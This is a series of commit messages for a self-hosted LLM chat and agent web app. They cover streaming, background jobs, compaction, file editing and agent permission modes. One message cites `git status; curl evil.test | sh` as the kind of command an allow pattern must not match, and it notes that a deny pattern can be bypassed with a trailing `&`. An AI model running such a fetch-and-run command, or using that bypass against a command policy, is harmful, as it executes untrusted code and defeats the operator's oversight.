An instance that can be somebody else's
A name, a tagline, a logo, a favicon and the launcher icons derived from it; the Middle-earth strings as data; themes as token sets; and a stylesheet for what none of that reaches. All four are on one page, in one settings group. The snapshot is a Jinja global over a process-level cache, because render() has no session and four render paths never reach it at all -- the sign-in page, the error pages, the offline page and the SSE fragments. A context value would have had to be threaded through every one and would still have missed those. It being a global is also what lets mark() branch on an uploaded logo without any of its six call sites learning about branding; the macro that renders the sidebar link is called brandlink now, because a macro imported as `brand` shadows the global for the whole template and took out every page at once. Defaults in code and overrides in the database, as the prompt fragments do, with one difference stated in the module: an empty fragment means off, an empty flavour string means the shipped wording. And blanked rather than dropped -- settings_store.update merges, so an omitted key leaves what was stored last time and "I typed the default back in" would store something different from "I changed nothing". A custom theme sets a handful of tokens and inherits the rest, and the inheritance is a CSS fact: tokens.css matches [data-base="shire"] as well as [data-theme="shire"], so a custom light theme lands on parchment rather than four light colours on near-black. Values are validated on read rather than on save, because a theme written straight into the settings table still has to produce a stylesheet that parses -- a `}` in a value ends the rule and silently breaks every rule after it. The soft variants are derived from the accent, or a changed accent leaves focus rings in the old hue and reads as half-working. /branding.css is a route, not an inline block: an external stylesheet has no HTML context to escape from. The link carries a content hash, so a save is not left to the browser's cache, and it is deliberately outside the service worker's precache list, which is versioned by the release. The instance name moved off /admin/general rather than being duplicated there. An upgrade keeps it: the general row is read as a seed exactly while the branding row has never mentioned the name, which is `key in row` and not `row[key] is truthy` -- the two read alike would resurrect the old name underneath a cleared one. The theme list stops being a hard-coded pair in five places. Every failure mode in that area is silent, so it is driven under a DOM stub as well as tested.

A job that finishes reaches the page you are looking at
Three complaints, all downstream of background commands.
A finished job woke the model and not the browser. `jobs.wake` writes the
completion and calls `generation.ensure`, and nothing tells the page: the only
stream here is per-message, opened by the `sse-connect` on an incomplete
assistant bubble -- which is a bubble this page has not got, because the reply
that created it began somewhere else. `_queue_frames` proves the swap works and
can only ride a stream already open. So the reader sat on the chat, watched the
sidebar dot light up for the chat in front of them, and had to click it or
reload to see a reply that had been there for minutes.
`GET /api/chats/{id}/tail?after=` and a five-second poller is the answer, polled
for the reason `/unread` is: a second always-on connection per tab is a lot of
machinery for something that happens a few times a day. A cursor it cannot place
-- absent, from another chat, naming a row a rewind deleted -- is answered with
204 and never with the transcript, which the page still holds every bubble of.
The cut is read from the row so `_inject`'s restamp moves it too, and compared in
SQL, a row read back from SQLite being naive where one still in the session is
aware; the `id >` tie-break is not decoration, since under a bare `>` a row
sharing the cut's microsecond is skipped for ever.
The cursor comes from the DOM, because the DOM is the honest answer to what the
page has -- the composer's POST, the `done` frame and the last poll all move it,
and a variable would have to be updated by each of them, correctly, for ever. On
`htmx:configRequest` rather than `hx-vals="js:…"`: two of the three things that
handler does are cancellations, which `hx-vals` cannot express. Not
`article.msg:last-of-type` either -- that is per-parent, so on a compacted chat
it answers with the last article inside the `<details>` and the poll re-appends
half the conversation. It is silent while a reply streams, since that reply
delivers its own bubbles in the one frame that can get the order right, and a
`htmx:beforeSwap` listener drops any answer holding a bubble already on the page:
the race `hx-sync` cannot reach, and a duplicate there is a second `sse-connect`
for one message rather than a cosmetic one. The route clears `unread` on every
tick including the 204, because `_persist` marks a reply unread whenever
`followers == 0` and that is true of a job-woken reply with somebody watching it.
The completion also claimed the reader had sent it. The role is load-bearing --
`_inject` sends a queued turn verbatim and `build_messages` must keep seeing a
user turn -- so `Message.machine` marks the bubble instead and the request is
untouched. Their initial, their name and a pencil offering to rewrite what a
machine reported: the route refuses the edit too, a hidden button being a
courtesy. `_completion_text` is deliberately unchanged, `tool.background` quoting
its opening sentence to the model, and there is now a test holding the two
together.
And the panel. `.jobs__row` had no horizontal padding while `.picker__menu` has
none either, so every row ran flush into the border under a header inset by
--sp-3. `jobs__row--open` had been emitted since the panel shipped with no rule
anywhere, so the row whose log was on screen looked like the ones that were not.
The dot was keyed on `status`, and `done` is exit 0 and exit 2 alike -- green
beside the row's own "Failed, exit 2" -- so `JobView.tone` answers the colour and
the template goes on answering the wording, which is the half a class name cannot
carry. `duration` is empty for a running job on purpose: this panel is fetched
when somebody opens it and never polled, so a live figure would freeze the
instant it painted. Its stamps are normalised before subtracting, a job started
before a restart and finished after it having one naive and one aware.
Driven under the DOM stub before committing, per the standing rule: two listeners
on document.body for events dispatched at a requesting element are exactly the
shape a regex cannot check.

A thinking block that says how long and how much
Each block reports its own round now. `reasoning_ms` was the reply's first burst, written once, so on the fifteen-block reply GPT-OSS actually produces only the first could claim a duration and the other fourteen said "Thought" and nothing at all. `Generation.thinking_ms` accumulates per round and `close_step` stamps it cumulatively, so steps.py diffs it exactly as it already diffs the three lengths beside it. The interval between a round's first and last reasoning delta, deliberately, not a sum of gaps between deltas -- that would count the network's latency as the model's thinking. While it runs: "Thinking" with an ellipsis that types itself, and the seconds and tokens climbing beside it. The ellipsis is a `content` keyframe, so there is no timer to start, stop or clean up when the block is swapped away -- it stops existing when the element does. The numbers come from a `think` frame, and `round_thinking_ms` is written by the producer rather than computed by the follower from a start time: a model that has stopped thinking and moved on to a tool should show a settled number, not a clock that keeps running. Tokens read exactly up to 200 and as `0.4k` above it, from one helper shared by the live label and the stored one, so the two cannot drift into two conventions. The live duration is terser than the finished one -- `6s` against `6 seconds` -- because it sits beside an animating word and changes every second, where "less than a second" flickering into "1 second" reads as a glitch. Checked against the real endpoint: fourteen marks carrying 919ms through 14223ms, per-block labels from "less than a second · 111" to "4 seconds · 0.5k", and the live frames resetting each round rather than accumulating.

An sse-swap element must never contain another
An agent reply rendered nothing from its first tool call onwards. An ordinary
chat was fine, and that difference is the whole diagnosis: `#steps-{id}` is
itself an `sse-swap` target, so its innerHTML is replaced every time a round
closes -- and I had put the live `reasoning` and `render` containers *inside*
it. Every round boundary tore out the two elements the next frames were aimed
at, in the same pass that aimed them. An ordinary chat closes no steps, so the
swap never happened and nothing was ever torn out.
The tail moves back out to `_message.html`, as siblings of the steps container.
That removes the trick where the `steps` frame re-emitted the tail empty in
order to clear it, and replaces it with something simpler: `reasoning` and
`render` are now sent on every pass including empty, which is what clears them
when a round closes. Safe here and not before -- they carry the open tail only,
so an empty one means the tail is empty, where the version that carried the
whole reply would have wiped the answer. `steps` is the frame that must never
blank now.
`tests/test_chat.py` walks every template and refuses any `sse-swap` element
inside another; checked against the bug before being kept.
Two things I had left undone and should not have. `.msg__steps` had no styling
at all, so the sequence ran together with nothing separating a paragraph from
the command it led to. And `.msg__body--live:not(:empty) + .msg__waiting .dots`
stopped matching when those two stopped being siblings, so the dots pulsed
beside a finished answer for ever; it is a `:has()` on the bubble now.
The version bump is not cosmetic either: the service worker keys its cache on
it, so without one every browser kept serving the previous release's CSS and JS
against the new markup.

A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work.

Files, open beside the conversation
A third side panel, built the way the terminal is and filled the way the inspector is: tabs holding open files. Project files over SFTP in an agent chat; notes, skills, knowledge documents, this chat's text attachments and its own scratch document everywhere. Read with pygments, edited in a plain textarea, saved with a conflict check. A bug found on the way in, and the reason this needed its own read path. `ssh.read_file` ends in `clean_output`, which strips ANSI escapes and decodes with errors="replace" -- right for the output of a command, and fatal for an editor: open a file containing an escape byte, press Save, and you have silently rewritten it with the escapes gone and every undecodable byte replaced by U+FFFD. `read_text`/`write_text` decode strictly, report binary rather than mangling it, carry an mtime:size token for a file that moved underneath, and refuse an oversize write rather than truncating -- `write_file` truncates because a model is told how many bytes it wrote, and somebody pressing Save is not. The model-facing pair is untouched: what it returns is a contract a model has been shown. A truncated read opens read-only for the mirror-image reason. Six sources go through one dispatch table, for the reason tool_labels.py is a table: six independently written permission checks is how one ends up written slightly differently, and that failure looks like editing somebody else's note. A save on a project file bypasses agent/policy.py, which makes it the fourth documented exception to "the modes do not govern the keyboard" and the first that writes. Same argument as the terminal panel -- whoever owns the credential could write the file with scp -- but the consequence is larger and is now said out loud rather than left to be inferred. The model opens tabs from the file tools it was already calling, so no new schema and no tokens. It never brings one to the front: an agent reads forty files in a long reply, and taking the screen each time would drag somebody through all of them and lose any edit in progress. Only the strip is streamed, guarded on truthiness so the frame can never blank itself -- an empty one would close every open tab, the approval card you could press twice with the sign reversed. Both halves are settled on the server, which is why canvas.js needs no guard against a swap at all. No vendored editor. CodeMirror 6 needs a bundler, which is hard rule 1; CodeMirror 5 would be a larger payload than xterm on every page, and xterm is the one heavy dependency precisely because it loads only where it can be used. So: server-rendered highlighting for reading, a textarea for writing, and the panel says there is no colour while you type rather than pretending. Also here: a scratch document per chat, with `scratch_write` at RISK_READ on plan_update's argument, and a test pinning the three numbers that decide a panel's width -- LAYOUT_BOUNDS drops an unknown variable silently, so a panel missing from it has a drag handle that works and forgets. Driven under a DOM stub and against the running application. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |

Two selects that never wrote anything, and a queue
The approval card in Auto mode and the missing /effort were one bug. Both
selects hung their hx-patch on an empty sibling form reached by form="…",
and htmx binds a trigger to the annotated element: change fires on the
select and bubbles to its ancestors, which a sibling is not. The live rows
read agent_mode=manual and params_json={} while the browser showed Auto and
Effort: high. policy.py was never involved.
The verb moves onto the control; the empty form stays as value scoping,
which is the half of the CLAUDE.md note that was right. conftest gains
control_named so a test asserts the element carrying the name carries the
verb, rather than asserting the markup that was there throughout.
The composer's highlight was a third instance of the same carelessness in
CSS: .tok-mention is written for the transcript and scoped to nothing, so
the mirror painted its token in accent-coloured monospace over the
textarea's own text. Scoped under .msg; the mirror restates transparency
and font rather than inheriting them, and bleeds by box-shadow.
/effort is now offered before the first prompt and _new_chat reads it.
/index re-walks the project directory on demand, file_write drops the
listing it just invalidated, and the index ladder falls through to SFTP on
a host that refuses exec instead of returning nothing.
A second message during a reply is queued rather than starting a second
concurrent generation: a real Message row with queued set, so it survives a
restart and can be withdrawn. _drain hands one on at the end of a reply,
_inject takes one in at a tool-round boundary so an agent can be steered
mid-task. Stop leaves the queue undelivered. The terminal's Auto toggle
becomes off/copy/send, and send posts straight to the chat without touching
the composer.
@ now offers notes, skills, this chat's attachments and a URL to fetch; a
knowledge base attaches as a reference rather than a copy. copy_document
carries provenance, which was the one attach path that dropped it.
Also fixes an unrelated live bug: the round loop compared against the
global MAX_ROUNDS of 3 while sizing itself from the agent budget of 40, so
agent replies stopped after three rounds and reported forty.

The menu that never appeared, and the reason it never did
composer.js built its menu lazily inside show(), and refresh() wrote list.innerHTML before calling it. `list` is null until build() has run, so the first `/` or `@` ever typed threw a TypeError and took the handler with it. The menu has never appeared in any browser. That is why /compact "isn't there": nothing was. I shipped it having only run `node --check`, which parses the file happily. So this also brings the thing that catches it: a DOM stub driven under node -- not committed, hard rule 1 stands, it is an instrument like curl. It reproduced the crash in one run and immediately found two more: choosing a command from the menu left `/help` sitting in the box so the next Enter ran it again, and Tab completed nothing. Tab now completes and Enter runs, which is the split that matters for a command taking an argument. `.select--sm` was used three times and defined nowhere. I deleted the copy in chat.css and left a comment saying it "is defined once, in app.css", where it did not exist -- so those selects fell back to plain `.select`: width 100% in a flex row where four siblings wanted the same, all of them shrinking together until each was a few characters wide, and half a rem taller than everything beside them. That was the whole of "the connection switch needs to be wider". The connection and directory move to the topbar. They cannot change -- update_chat refuses both with a 409 -- so they are facts about the chat, of a kind with the Temporary badge, not controls on the message. The mode stays by the box. Compaction says it is working. It makes a model call that takes seconds and had no indicator anywhere: `hx-indicator` appears nowhere in this codebase, and the Generation.status channel that says "Summarising earlier messages…" for the automatic path cannot be borrowed, because it lives in the streaming bubble and this endpoint refuses to run while any message is unfinished. The overflow menu now runs the same code as /compact rather than posting for itself, so there is one implementation, one spinner, and one place the endpoint's four carefully written 409s finally reach somebody. /effort, low medium high, per chat with a per-model default. It goes out twice because there is no field that works everywhere: OpenAI and vLLM read reasoning_effort, llama.cpp's own docs say other values "have no effect" and its maintainer says the field "simply gets dropped without error or logging" -- what reaches gpt-oss behind it is chat_template_kwargs. Both are sent, and only once an effort has been chosen, so a provider strict about unknown parameters sees exactly the request it always did until somebody opts in. The control appears only on a model marked `reasoning`, a flag that has existed since the beginning with no reader at all. Mentions and recognised commands are marked as you type -- a mirror behind the textarea holding the same text with every character transparent, contributing nothing but a rounded rectangle, so a pixel of drift is a misplaced rectangle rather than a doubled glyph. A command is marked only when it resolves, so `/thoughts on this` visibly is not one before you send it. And again in the transcript, where user turns had no render step at all and now escape before they inject. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |

A directory the model knows about, and @ to name a file in it
An agent chat used to open with the model knowing the name of a machine and nothing about what was on it, so the first two rounds of every reply went on finding out. It now gets a listing: one read-only command, `git ls-files` where that works and `find` otherwise, falling back to an SFTP walk that always does. git first because a repository already carries somebody's considered list of what is not part of the project, and reproducing it by hand is how an index ends up mostly build output. The listing is budgeted rather than dumped. A tree of a thousand files is worse than no tree -- it costs the window on every request forever and buries the four names that mattered -- so directories that will not fit are shown as a count and the model is told to open one itself. Collapsing picks the deepest and largest first: by saving alone it would take `src/` before `src/web/static/vendor/`, because it contains it, and lose every name worth having. Read from a cache and never fetched. `harness.context_variables` is synchronous and sits on the request path; the walk happens in the generation setup, which is async and already doing network work, with a short wait. A chat whose first reply outruns its first walk simply has no listing that turn and the fragment disappears rather than appearing as an empty heading. Then `@`, over the same index and over the library, and `/` for commands with an Alt-based keyboard for the same jobs. A mentioned file arrives as contents, not a reference -- a small model asked to call file_read often does not bother -- and it arrives with its absolute path and the machine it came from, because a model handed `main.py` cannot tell which of four it is and cannot name it back when asked to change something. The rule that matters for `/`: a message that merely starts with a slash still sends. `//` escapes and an unrecognised command is posted as written. Swallowing somebody's message is a much worse failure than an unknown command. Two exceptions to Manual mode now, not one. Browsing and indexing are a person acting, not a model, so neither passes through policy.py -- the same argument the terminal panel rests on.

The composer decides what a chat is, and the topbar stops trying
The mode select in the topbar posted with hx-post against a route that only answers PATCH, so every change returned 405 and the mode never moved. htmx shows nothing when a request fails, so the control looked like it worked: the select stayed where you put it and the server ignored you. It has never worked. Two more of the same kind. A mode could not be chosen at all until the chat existed, so reaching Plan meant sending something in Manual first and letting the model answer under the wrong rules. And the project directory box was real and submitted, but unlabelled and squeezed to a few characters by the select beside it, so it read as broken -- which is how it was reported. So the kind, the connection, the directory and the mode move out of the strip above the text and into one toolbar row beneath it, where attach and send already are. The directory becomes a button that opens a browser over SFTP, because a path is something you would rather find than spell. `scan_dir` is new beside `list_dir`: a picker has to tell a directory from a file before it can draw the row, and `list_dir` backs a tool whose contract is a list of names and must not change under a model mid-conversation. Browsing is a person clicking, not a model calling, so it does not pass through policy.py -- the same argument the terminal panel rests on. It does mean Manual mode has a second exception now. Also: .chip was two components with one name, and the attachment card won, so the Chat/Agent pills silently wore its padding. --radius-md was used twice and declared nowhere, so both fell back to 0. .btn.is-active has been set by syncToggles since the terminal landed and styled by nothing. Enter-to-send ignored isComposing, so committing an IME candidate sent the message. The terminal had five colours of a sixteen-colour palette, with fallbacks from a palette that no longer exists.

Plan mode proposes, and you decide whether to carry it out
`plan_submit` records an ordered set of steps and ends the turn. Offered in Plan mode and nowhere else: it stops the reply, and a model in Auto mode proposing a plan instead of doing the work would be obeying the wrong instinct at the worst moment. The plan is stored on the message rather than parsed back out of the prose, so the button sends exactly what was proposed. It gets one more request to say what it proposed and why -- a bubble containing only a card reads as though the model had nothing to add -- but with the tools withdrawn, so "one more round" cannot become three rounds of it changing its mind about a plan somebody is being asked to approve. Carrying it out switches to Edit, never Auto. The plan was written under a mode where every command stopped for approval, and a button that also removed the asking is not the button anybody pressed. It goes back quoted and attributed, not stated: a plan whose text came out of a file the model read must not arrive in the most trusted role in the transcript wearing the reader's authority. Also closes the rewind gap. Editing or regenerating a turn rewinds the transcript and not the machine, so `rewound_at` is stamped and the harness says so. Nothing tries to undo anything out there -- the project directory is somebody's real working tree, and deleting their work to match a rewound transcript would be far worse than the inconsistency.

A reply can stop and ask you something
Three features turn out to be one mechanism: a command waiting to be approved, a question the model wants answered, and "this reply is waiting for you" are all — stop the generation, put an interactive block in the bubble, wait for a POST, carry on. So there is one primitive, and the only thing using it so far is `ask_user`: a model can offer you a few answers and a box to write your own. The shell executor is not here yet. This lands first on purpose, because it is the riskiest machinery in the feature and it is worth having working before any subprocess exists to complicate it. Two things about where the pause sits. It pauses a round, not a call: a round's calls run together under a semaphore, and parking four coroutines on four separate answers inside that gather would queue them behind each other invisibly. And Stop had to be taught about it — `cancel` is read between streamed chunks and there are no chunks while paused, so the button did nothing at all until `request_stop` learned to resolve the pause itself. Also here: a risk class on every tool (read, write, execute), which is what the four permission modes will be a table over, and the systemd unit loses ProtectKernelTunables. That last one is not tidying — it bind-mounts /proc/sys read-only, which stops bubblewrap mounting /proc at all, and the obvious workaround would expose this process's environment and with it the encryption key.

Compaction: a button, and automatically when the window fills
A long conversation eventually just stops working. Compaction summarises the earlier turns and sends the summary in their place. The messages are kept. They stay in the transcript behind a collapsed divider and simply stop being part of the request, which is what makes the button safe to press and automatic compaction safe to have at all: a summary that came out badly is a bad turn, not a lost conversation. Stored on the Chat, not as a synthetic Message. A synthetic row needs a role -- `system` breaks the one-system-message rule the moment build_messages emits it beside the harness, and user/assistant makes it a turn people can edit, regenerate from and copy, indistinguishable from a real one in all four places a bubble is rendered. Worse, "editing rewinds, it does not branch" would silently delete it and leave no marker that compaction had happened at all. The summary goes out as a user turn and an assistant turn, not one. A leading assistant breaks templates requiring the first non-system message to be user; a lone leading user produces user, user whenever the kept history starts on a user turn -- which it always does, because the cutoff lands on a finished reply. compacted_through_id is a plain id rather than a foreign key: migrations.py compiles only the column type, so a REFERENCES clause would exist on a fresh database and not on an upgraded one, and a constraint half the fleet has is worse than none. cutoff_message validates it on every read instead, and a rewind past the boundary clears it. Compacting again summarises only the delta, with the previous summary supplied to be subsumed. Re-summarising the whole chat each time grows quadratically and eventually exceeds the window it is protecting. Automatically at the top of _run, not in post_message: that route's contract is to return immediately and leave the slow part to a resumable connection, and it also means build_request is called once, after compaction, with no second assembly path. The trigger is the last reply's recorded usage plus an estimate of the new turn -- retrospective because true prompt_tokens are only knowable after a response, plus the delta because otherwise fifty thousand characters pasted into the composer overflow a window that read 90% last turn. It never fires when the context length is unknown. It does fire on estimated counts, which is safe here precisely because nothing is lost. _maybe_compact never raises: a failure logs and sends the uncompacted request. A `status` event says "Summarising earlier messages…" in the meantime, because a silent multi-second pause before the first token is what a hang looks like. The wording is three fragments under Admin - Prompts. Clearing task.compact turns compaction off entirely. Also adds compaction.moment(): SQLite does not store the offset, so a row loaded from disk is naive while one in the session's identity map keeps its tzinfo, and comparing the two raises. Every comparison here is between exactly those. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |

Show what a reply cost, live and afterwards
Tokens, how full the context is, and tokens per second -- as chips under each assistant bubble, updating while the reply streams and still there when it finishes. The numbers come from one Metrics object built either from the generation still being written or from the row it left behind. That is the point rather than tidiness: the finished bubble is re-rendered from the database the instant the stream ends, so two code paths would make the figures visibly jump at exactly the moment someone is watching them. Here the only thing that changes is that an estimate may become exact. Message.usage_json has existed and been dead since the schema was written. It is the store. Two counts that look like one. prompt and completion are summed across tool rounds -- what the reply cost. context_tokens is overwritten each round with that round's prompt plus completion -- what the window actually holds. A three-round reply pays for its prompt three times and only ever occupies the window once, so a single number would be wrong for one of the two questions. Generation gains started_at as a field rather than a local in _run, because _follow is a different function that sees only the Generation and otherwise has nothing to compute a live speed against. It also carries a prompt estimate taken before the first chunk, since real usage arrives in one chunk at the very end and a percentage that appears only after the reply is useless. Everything is marked with a tilde when the endpoint reported nothing, and the percentage is simply absent when no context length is set: unknown has to stay tellable from small, and a percentage of an unknown total is a made-up number in a place people trust numbers.

Regenerate actually regenerates
`ensure` is keyed on message_id and idempotent on purpose -- a page load
finding an unfinished reply must attach to it rather than start a second
one, and `_follow` calls it too. But finished generations linger in the
registry for KEEP_FINISHED so a follower arriving at the last moment still
gets the final frames, and regenerate is the only caller that reuses an
existing Message row instead of creating a new one. So `ensure` handed back
the finished generation: no request was made, `_follow` replayed the old
answer, and the `done` frame re-rendered a streaming shell because the row
said incomplete. That is the reconnect loop, and the Send button stuck on
Stop. It appeared to work after five minutes only by accident, and only
sometimes: `_prune` sat below the early return, so it was unreachable for
exactly the message that needed it.
`restart()` is the explicit opposite of `ensure`, and regenerate calls it.
`_prune` moves above the lookup.
Cancelling a live predecessor makes its `finally:` run `_persist` on the
same row, which would overwrite the reply that replaced it. `_persist` now
refuses when another generation owns the message -- "someone else owns this
row now", not "this one is registered", so a direct call still writes.
Three things found next door, all in the same area and all bugs:
- `done` was set before `_persist` committed, while `_follow`'s docstring
claimed the opposite. `_follow` breaks out the instant it sees the flag
and re-renders the bubble from the row, so the row has to be right
first. Harmless today, a guaranteed loss once metrics land there.
- Live reasoning duplicated quadratically. The frame carries the whole
block each time, exactly as `render` and `tools` do, but the target
swapped it `beforeend`.
- `sse.KEEPALIVE` was defined and never yielded. A model thinking for
ninety seconds emits nothing, and an idle connection is what a proxy
closes.
There was no test for regenerate at all. There is now.

PWA, one send/stop button, audio in and out, web search as a tool
Four pieces of work.
**Installable.** A manifest carrying the instance name, PWA icons rasterised
from the existing mark at design time, a service worker and a themed offline
page. The worker caches the shell only and bails out on /api/, /auth/, /admin/
and anything accepting text/event-stream -- passing a reply stream through a
worker turns it into one delivery at the end, or nothing. It is served from
GET /sw.js rather than the static mount because a worker's scope is the path it
came from.
**Send and Stop are one button.** They were two, and the hidden one was never
hidden: `.btn` is display: inline-flex, which outranks the browser's own
`[hidden] { display: none }`, so Stop sat permanently beside Send. app.css now
forces the attribute to win -- every control toggled with `hidden` depended on
that -- and the composer renders one button carrying both icons, with ui.js
flipping data-composer-action and the type with it.
**Audio.** Speech to text and text to speech against any OpenAI-shaped
/v1/audio/* endpoint: dictate into the composer, have a reply read out.
Instance settings in Admin, per-reader overrides in Settings, with the voice
list discovered from the server where it offers one. Recorded audio is capped
and never written to disk -- it is not an attachment, it has no owner, and
nothing would ever sweep it.
**Web search, as a tool.** This is the tool loop PLAN.md described as the real
work: one reply is now a bounded sequence of requests rather than one. The model
asks, the tool runs, the result goes back and it is asked again, up to three
rounds. Providers are DuckDuckGo (no setup), SearXNG and Firecrawl.
Two decisions worth stating. Tools are only offered to models flagged `tools`,
because an endpoint without support rejects the whole request rather than
ignoring the array -- the same reason images only reach models flagged
`vision`. And tool results are not replayed as context on the next turn, for the
same reasons reasoning is not: the answer already contains what the model made
of them, and replaying stale results into every later request wastes the window
and reliably sends a small model into a search loop. The sources stay visible in
the transcript instead.
Search results are untrusted third-party text and are treated as such: escaped,
and only http/https URLs rendered as links.

Background generation, unread replies, send/stop, PLAN.md
**Replies now run in the background.** Generation was driven by the SSE request, so navigating away or opening another chat cut the answer off mid-sentence. services/generation.py owns the work as its own task and the SSE endpoint merely follows it. Verified: attached briefly, closed the connection, went to another page -- the reply finished anyway, 832 characters, not marked stopped, auto-titled. Reattaching works because both `render` and `reasoning` frames now carry the whole block rather than a delta. A follower arriving late has no earlier fragments to append to, so deltas would leave it permanently missing the beginning. Verified: attached six seconds in and the first frame already contained 517 characters written while nobody watched. **Unread indicator.** A reply that lands with no follower attached marks its chat unread; the sidebar polls every 10s for out-of-band dot spans plus an HX-Trigger that raises a toast. Polled rather than pushed: a browser sitting on another chat has no connection to the one that finished, and an always-on channel per tab is a lot of machinery for a green dot. `unread_notified` stops the same arrival being announced every tick. Follower count is what decides "was anyone watching", so reading it as it arrives does not mark it unread -- verified both ways. **Stop is the send button.** While a reply is being written the send button becomes a red stop square, found via a MutationObserver on the thread since the composer and the streaming bubble are far apart in the document. The in-bubble Stop is gone. **Attachment border removed.** As asked -- an attachment is a picture, and the frame only ever drew at the wrong width. The anchor now shrink-wraps and the img's width/height attributes are overridden so a small image shows at its own size. Adds PLAN.md: what is built, what is not, known limits, and the decisions that look like oversights until you know the reason. 239 tests, ruff clean.

Live Markdown, stop, rewind, custom picker, dialogs
Seven things. **Reasoning starts closed.** The answer is what the reader is waiting for; the thinking is one click away. **Image borders.** .attachments__image was a block-level <a>, so its border stretched the full column around a narrow picture. inline-block, and the frame is the picture. Same fix for the composer thumbnail. **Markdown now renders during the stream.** The generator re-renders the answer so far and sends it as a `render` event at most every 100ms, swapped with innerHTML, instead of appending escaped tokens and formatting everything at the end. Re-rendering whole rather than appending is the point: a list or a code fence is only correct once its context exists, and partial syntax resolves itself as more arrives. Measured against a live model: 29 render events, formatting visible from the first content token. **Stop button.** A stop request goes into an in-process set the generator checks between chunks; whatever arrived is kept, because a half-written answer the reader chose to cut short is still worth having. Measured: stream ended 0.2s after the request, 1155 characters preserved, message marked stopped rather than errored. Navigating away does the same thing via CancelledError. **Rewind and edit.** Edit one of your own turns and everything after it is deleted, then the conversation runs on from there. Deliberately not branching: that needs a UI for choosing between versions, and "go back and try again from here" is what was asked for. The form states how many messages will be discarded before you confirm. **Custom model picker.** A <select> renders only text in an <option>, so it can never show an avatar. Built from buttons and a hidden input, with descriptions, capability tags, a filter box past eight models, and arrow-key navigation written out by hand since there is no native widget doing it. **Notification system.** lembas.notify/confirm/prompt in ui.js, built on <dialog> so focus trapping, Escape and page inertness come from the browser. htmx:confirm is intercepted, so every existing hx-confirm gets the themed dialog with no change at the call site; the browser's grey confirm() is gone from every template. 230 tests, ruff clean.

Fix bulk actions, create chats lazily, rework the UI
Seven reported problems.
**Bulk model actions 404'd.** /admin/models/{model_id} was registered
before /admin/models/bulk, and FastAPI matches in registration order, so
"bulk" was parsed as a model id. Moved above the parameterised route,
with a comment saying why, and a regression test.
**Empty chats piled up.** There is now no endpoint that creates one.
"New chat" is a link to /chat, which renders a composer with no row
behind it, and POST /api/chats/start writes the chat together with its
first message. Opening one and walking away leaves nothing.
**Pinning meant two different things.** The picker is now always in the
administrator's position order; pinned models get shortcuts in the chat
sidebar and nothing else. A picker whose order silently differs from the
admin screen is just confusing.
**Model images were missing in chat.** Assistant bubbles now show the
avatar of the model that actually wrote the turn -- which is not always
the model the chat is set to now -- falling back to the LLeMbas mark.
The picker shows it too.
**No global or per-model system prompt.** Three layers now: instance
(Admin -> General), model (Admin -> Models), chat. Precedence, not
concatenation: most specific wins outright. Stacking them reads well in
a settings screen and badly in practice, because two layers that
disagree give the model contradictory instructions and nobody can tell
which is losing. The chat panel shows the inherited prompt as
placeholder text so "leave empty to inherit" is not a guess.
**Alignment and button sizing.** Added --control-h and friends to
tokens.css; every button, input and select takes its height from them,
so a mixed row is flush by construction rather than by per-instance
nudging. Icon buttons are square at that height. Added .btn-row,
.card__header/.card__footer and .grid so pages stop carrying inline
styles, and moved every admin page onto them.
**Settings needed structure.** The user settings page is now tabbed
(Account / Models / Appearance / Security) using radio inputs and
sibling selectors -- no JavaScript, and the browser keeps the chosen tab
across a re-render.
Caught while checking: the chat.css surgery had deleted the attachment,
chip and dropzone rules. Restored, and there is now a check that every
literal class used in a template has a CSS rule.
197 tests, ruff clean.

File attachments: images for vision, PDFs and text into the prompt
